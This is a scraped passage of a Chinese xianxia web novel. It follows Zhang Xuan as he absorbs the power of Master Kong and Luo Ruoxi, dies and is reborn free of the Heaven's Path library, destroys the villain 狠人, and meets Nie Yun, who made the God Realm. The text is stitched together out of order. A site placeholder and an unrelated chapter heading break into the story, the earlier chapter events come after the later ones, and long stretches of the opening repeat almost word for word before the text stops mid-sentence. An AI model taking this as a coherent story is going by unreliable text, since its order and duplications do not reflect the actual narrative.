“所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第38章 09年的人类、版本还是太低 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 